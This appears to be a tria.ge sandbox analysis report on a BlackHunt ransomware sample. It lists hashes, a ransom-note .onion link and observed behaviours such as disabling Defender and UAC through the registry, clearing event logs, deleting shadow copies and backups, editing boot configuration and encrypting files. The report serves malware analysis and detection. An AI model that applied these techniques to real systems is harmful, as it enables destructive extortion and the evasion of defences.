Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
95s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
18/01/2024, 22:40
Static task
static1
Behavioral task
behavioral1
Sample
1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe
Resource
win10v2004-20231215-en
General
-
Target
1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe
-
Size
707KB
-
MD5
cc7a81df71683402ba7a751b7e7aa923
-
SHA1
a838519630c00d82a4fde0e555c8a4a98e8bae8d
-
SHA256
1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c
-
SHA512
ae18ee37dbbbebb7d1f468b7fb6fe0a9833bad0c5c28a4a866abcb15a27b568286914c23eb12cc7a4ad6755df26c0d1a127a69f9000bddb33114a50ea67d5379
-
SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1n81vnh:6uaTmkZJ+naie5OTamgEoKxLWOxh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
-
Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 3520 fsutil.exe 5832 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection Conhost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" Conhost.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 7036 wevtutil.exe 6036 wevtutil.exe 6952 wevtutil.exe 6876 wevtutil.exe 6880 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 1580 bcdedit.exe 5308 bcdedit.exe 6592 bcdedit.exe 6964 bcdedit.exe -
Renames multiple (3369) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 5300 wbadmin.exe 6296 wbadmin.exe -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe Key value queried \REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\G: 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened (read-only) \??\K: 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\O: 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened (read-only) \??\Q: 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened (read-only) \??\R: 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened (read-only) \??\M: 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened (read-only) \??\W: 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened (read-only) \??\T: 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened (read-only) \??\I: 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened (read-only) \??\A: 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened (read-only) \??\S: 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened (read-only) \??\H: 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened (read-only) \??\X: 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened (read-only) \??\V: 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened (read-only) \??\E: 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened (read-only) \??\U: 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened (read-only) \??\Z: 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\Y: 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened (read-only) \??\J: 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened (read-only) \??\L: 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\P: 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened (read-only) \??\B: 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened (read-only) \??\N: 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 3 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\js\nls\en-gb\#BlackHunt_ReadMe.txt 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\nl-nl\#BlackHunt_ReadMe.txt 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\bun.png 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\vlm_export.html 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\he-il\#BlackHunt_Private.key 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\es-es\#BlackHunt_ReadMe.hta 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\ja-jp\ui-strings.js 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\#BlackHunt_ReadMe.hta 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\hr-hr\#BlackHunt_ReadMe.txt 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\cs-cz\ui-strings.js 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\UIThemes\LightTheme.acrotheme 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main-high-contrast.css 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\sendforcomments.svg 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_checkbox_unselected_18.svg 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\en-gb\#BlackHunt_ReadMe.hta 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\pl-pl\ui-strings.js 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\uk-ua\ui-strings.js 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\es-es\#BlackHunt_ReadMe.hta 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\tr-tr\#BlackHunt_ReadMe.txt 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\da-dk\#BlackHunt_ReadMe.txt 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\#BlackHunt_ReadMe.txt 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\ja-jp\#BlackHunt_ReadMe.txt 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\pt-br\ui-strings.js 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\task-handler\js\nls\#BlackHunt_ReadMe.txt 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\jdk\joni.md 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files\VideoLAN\VLC\locale\eu\LC_MESSAGES\#BlackHunt_ReadMe.hta 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files\VideoLAN\VLC\locale\nn\LC_MESSAGES\#BlackHunt_ReadMe.txt 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files\VideoLAN\VLC\locale\sq\LC_MESSAGES\#BlackHunt_Private.key 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\cs-cz\#BlackHunt_ReadMe.hta 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\zh-cn\#BlackHunt_ReadMe.txt 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\zh-tw\#BlackHunt_ReadMe.hta 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\cs-cz\#BlackHunt_ReadMe.txt 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ja-jp\#BlackHunt_Private.key 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ca-es\ui-strings.js 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_folder-disabled_32.svg 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\it-it\#BlackHunt_Private.key 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\js\#BlackHunt_Private.key 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\cs-cz\ui-strings.js 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\fi-fi\#BlackHunt_ReadMe.hta 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\it-it\#BlackHunt_ReadMe.hta 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\themes\dark\example_icons2x.png 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\#BlackHunt_ReadMe.hta 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened for modification C:\Program Files\7-Zip\Lang\ug.txt 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\ccloud.png 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\nl-nl\#BlackHunt_ReadMe.txt 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\hu-hu\#BlackHunt_ReadMe.txt 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ar-ae\#BlackHunt_ReadMe.hta 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files\VideoLAN\VLC\plugins\access\#BlackHunt_Private.key 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\rhp\exportpdf-rna-selector.js 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\plugins\#BlackHunt_ReadMe.hta 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ca-es\#BlackHunt_ReadMe.txt 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened for modification C:\Program Files\7-Zip\7zCon.sfx 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\nl-nl\#BlackHunt_Private.key 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\en-il\ui-strings.js 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\#BlackHunt_Private.key 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\images\#BlackHunt_Private.key 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\ca-es\#BlackHunt_ReadMe.hta 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon_hover.png 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\ja-jp\#BlackHunt_ReadMe.txt 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\files_icons.png 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ja-jp\ui-strings.js 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\sl-sl\#BlackHunt_ReadMe.txt 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\cs-cz\#BlackHunt_Private.key 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\reviews_joined.gif 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
pid pid_target Process procid_target 7972 7692 WerFault.exe 292 -
Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 vds.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1956 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 4056 vssadmin.exe 6132 vssadmin.exe 5668 vssadmin.exe 5680 vssadmin.exe 5700 vssadmin.exe 7048 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 9508 taskkill.exe -
Modifies registry class 9 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000_Classes\Local Settings cmd.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 1148 PING.EXE -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe Token: SeRestorePrivilege 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe Token: SeBackupPrivilege 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe Token: SeTakeOwnershipPrivilege 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe Token: SeAuditPrivilege 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe Token: SeSecurityPrivilege 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe Token: SeIncBasePriorityPrivilege 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe Token: SeBackupPrivilege 6848 vssvc.exe Token: SeRestorePrivilege 6848 vssvc.exe Token: SeAuditPrivilege 6848 vssvc.exe Token: SeBackupPrivilege 8668 wbengine.exe Token: SeRestorePrivilege 8668 wbengine.exe Token: SeSecurityPrivilege 8668 wbengine.exe Token: SeSecurityPrivilege 6036 wevtutil.exe Token: SeBackupPrivilege 6036 wevtutil.exe Token: SeSecurityPrivilege 6952 wevtutil.exe Token: SeBackupPrivilege 6952 wevtutil.exe Token: SeSecurityPrivilege 7036 wevtutil.exe Token: SeBackupPrivilege 7036 wevtutil.exe Token: SeSecurityPrivilege 6880 wevtutil.exe Token: SeBackupPrivilege 6880 wevtutil.exe Token: SeSecurityPrivilege 6876 wevtutil.exe Token: SeBackupPrivilege 6876 wevtutil.exe Token: SeDebugPrivilege 9508 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 684 wrote to memory of 4664 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 90 PID 684 wrote to memory of 4664 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 90 PID 684 wrote to memory of 3172 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 173 PID 684 wrote to memory of 3172 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 173 PID 684 wrote to memory of 2028 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 94 PID 684 wrote to memory of 2028 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 94 PID 4664 wrote to memory of 4872 4664 cmd.exe 96 PID 4664 wrote to memory of 4872 4664 cmd.exe 96 PID 684 wrote to memory of 4652 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 97 PID 684 wrote to memory of 4652 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 97 PID 684 wrote to memory of 4468 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 99 PID 684 wrote to memory of 4468 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 99 PID 3172 wrote to memory of 1584 3172 reg.exe 102 PID 3172 wrote to memory of 1584 3172 reg.exe 102 PID 684 wrote to memory of 3964 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 101 PID 684 wrote to memory of 3964 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 101 PID 684 wrote to memory of 4552 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 104 PID 684 wrote to memory of 4552 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 104 PID 684 wrote to memory of 3724 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 185 PID 684 wrote to memory of 3724 684 1ba77f96396468b6dcdef50ebd281c089759b06e9e4fb8c32b2c542c9491b81c.exe 185 PID 2028 wrote to memory of 5116 2028 cmd.exe 108 PID 2028 wrote to memory of 5116 2028 cmd.exe 108 PID 4468 wrote to memory of 3936 4468 cmd.exe 109 PID 4468 wrote to memory 